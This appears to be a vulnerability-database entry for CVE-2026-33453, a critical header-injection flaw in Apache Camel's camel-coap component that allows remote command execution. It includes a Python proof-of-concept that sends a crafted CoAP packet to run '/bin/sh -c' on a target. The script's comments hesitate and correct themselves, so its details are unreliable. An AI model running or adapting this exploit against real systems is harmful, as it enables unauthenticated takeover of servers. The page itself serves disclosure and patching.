Security Vulnerability Report
中文
CVE-2026-33453 CVSS 10.0 CRITICAL

CVE-2026-33453

Published: 2026-04-27 11:16:02
Last Modified: 2026-04-28 19:39:35

Description

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Apache Camel Camel-Coap component. Apache Camel's camel-coap component is vulnerable to Camel message header injection, leading to remote code execution when routes forward CoAP requests to header-sensitive producers (e.g. camel-exec) The camel-coap component maps incoming CoAP request URI query parameters directly into Camel Exchange In message headers without applying any HeaderFilterStrategy.   Specifically, CamelCoapResource.handleRequest() iterates over OptionSet.getUriQuery() and calls camelExchange.getIn().setHeader(...) for every query parameter. CoAPEndpoint extends DefaultEndpoint rather than DefaultHeaderFilterStrategyEndpoint, and CoAPComponent does not implement HeaderFilterStrategyComponent; the component contains no references to HeaderFilterStrategy at all. As a result, an unauthenticated attacker who can send a single CoAP UDP packet to a Camel route consuming from coap:// can inject arbitrary Camel internal headers (those prefixed with Camel*) into the Exchange. When the route delivers the message to a header-sensitive producer such as camel-exec, camel-sql, camel-bean, camel-file, or template components (camel-freemarker, camel-velocity), the injected headers can alter the producer's behavior. In the case of camel-exec, the CamelExecCommandExecutable and CamelExecCommandArgs headers override the executable and arguments configured on the endpoint, resulting in arbitrary OS command execution under the privileges of the Camel process. The producer's output is written back to the Exchange body and returned in the CoAP response payload by CamelCoapResource, giving the attacker an interactive RCE channel without any need for out-of-band exfiltration.                                                                                                                                                                         Exploitation prerequisites are minimal: a single unauthenticated UDP datagram to the CoAP port (default 5683). CoAP (RFC 7252) has no built-in authentication, and DTLS is optional and disabled by default. Because the protocol is UDP-based, HTTP-layer WAF/IDS controls do not apply. This issue affects Apache Camel: from 4.14.0 through 4.14.5, from 4.18.0 before 4.18.1, 4.19.0. Users are recommended to upgrade to version 4.18.1 or 4.19.0, fixing the issue.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:camel:4.18.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:camel:4.19.0:*:*:*:*:*:*:* - VULNERABLE
Apache Camel 4.14.0 - 4.14.5
Apache Camel 4.18.0 (before 4.18.1)
Apache Camel 4.19.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Exploit for CVE-2026-33453 # Sends a malicious CoAP packet to inject headers and execute commands # Target: Apache Camel camel-coap component def build_coap_packet(payload): # CoAP Header (Version 1, Type CON, Token Length 0, Code GET, Message ID 1234) # 0x01 (Ver/Type/TKL) -> Ver=01, Type=00(CON), TKL=0000 => 01 00 00 00 = 0x40 # Wait, Type=00 is CON. 01 00 00 00 -> 0100 (Ver/Type) 0000 (TKL) -> 0x40 # Code: GET (0.01) -> 0x01 msg_id = 1234 header = struct.pack("!BBH", 0x40, 0x01, msg_id) # Options (Uri-Path and Uri-Query) # We need to inject CamelExecCommandExecutable and CamelExecCommandArgs # Option format: Delta + Length + Value # Option 11 (Uri-Path), Delta 11, Length 4, Value "exec" # Delta: 11 (0x0B), Length: 4 (0x04) path_opt = struct.pack("!BB", 0x0B, 0x04) + b"exec" # Option 15 (Uri-Query), Delta 4 (15-11), Length for key/value # Key: CamelExecCommandExecutable, Value: /bin/sh # Constructing query string: CamelExecCommandExecutable=/bin/sh&CamelExecCommandArgs=-c|whoami # CoAP options are separate, but usually parsed as key=value in query params # Let's simplify by sending raw query string in one option if the parser allows, # but standard CoAP splits them. However, Camel parses the OptionSet. # We will simulate the minimal packet needed for the PoC logic described. query1 = b"CamelExecCommandExecutable=/bin/sh" query_opt1 = struct.pack("!BB", 0x04, len(query1)) + query1 # Delta 4 from 11 is 15 (Uri-Query) query2 = b"CamelExecCommandArgs=-c%20echo%20PWNED" query_opt2 = struct.pack("!BB", 0x00, len(query2)) + query2 # Delta 0, same option 15 # Payload Marker (0xFF) payload_marker = b"\xFF" packet = header + path_opt + query_opt1 + query_opt2 + payload_marker + payload.encode() return packet def send_exploit(target_ip, target_port=5683): payload = "exploit_data" packet = build_coap_packet(payload) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Sent exploit packet to {target_ip}:{target_port}") print(f"[+] Attempting to execute: /bin/sh -c 'echo PWNED'") sock.close() if __name__ == "__main__": # Replace with actual target IP send_exploit("127.0.0.1")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33453", "sourceIdentifier": "[email protected]", "published": "2026-04-27T11:16:01.873", "lastModified": "2026-04-28T19:39:35.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Apache Camel Camel-Coap component.\n\nApache Camel's camel-coap component is vulnerable to Camel message header injection, leading to remote code execution when routes forward CoAP requests to header-sensitive producers (e.g. camel-exec)\n\nThe camel-coap component maps incoming CoAP request URI query parameters directly into Camel Exchange In message headers without applying any HeaderFilterStrategy.   \nSpecifically, CamelCoapResource.handleRequest() iterates over OptionSet.getUriQuery() and calls camelExchange.getIn().setHeader(...) for every query parameter. CoAPEndpoint extends DefaultEndpoint rather than DefaultHeaderFilterStrategyEndpoint, and CoAPComponent does not implement HeaderFilterStrategyComponent; the component contains no references to HeaderFilterStrategy at all.\n\nAs a result, an unauthenticated attacker who can send a single CoAP UDP packet to a Camel route consuming from coap:// can inject arbitrary Camel internal headers (those prefixed with Camel*) into the Exchange. When the route delivers the message to a header-sensitive producer such as camel-exec, camel-sql, camel-bean, camel-file, or template components (camel-freemarker, camel-velocity), the injected headers can alter the producer's behavior. In the case of camel-exec, the CamelExecCommandExecutable and CamelExecCommandArgs headers override the executable and arguments configured on the endpoint, resulting in arbitrary OS command execution under the privileges of the Camel process.\n\nThe producer's output is written back to the Exchange body and returned in the CoAP response payload by CamelCoapResource, giving the attacker an interactive RCE channel without any need for out-of-band exfiltration.\n                                                                                                                                                                        \nExploitation prerequisites are minimal: a single unauthenticated UDP datagram to the CoAP port (default 5683). CoAP (RFC 7252) has no built-in authentication, and DTLS is optional and disabled by default. Because the protocol is UDP-based, HTTP-layer WAF/IDS controls do not apply.\nThis issue affects Apache Camel: from 4.14.0 through 4.14.5, from 4.18.0 before 4.18.1, 4.19.0.\n\nUsers are recommended to upgrade to version 4.18.1 or 4.19.0, fixing the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14.0", "versionEndIncluding": "4.14.5", "matchCriteriaId": "A21A0C99-583A-4186-9A63-1A056CE0FE6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:4.18.0:*:*:*:*:*:*:*", "matchCriteriaId": "5AD9BD3F-C8B5-47C7-AA9D-0AF5292076FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:4.19.0:*:*:*:*:*:*:*", "matchCriteriaId": "EDA4D206-8808-4D2A-873E-8488DD7E3E16"}]}]}], "references": [{"url": "https://camel.apache.org/security/CVE-2026-33453.html", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/26/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}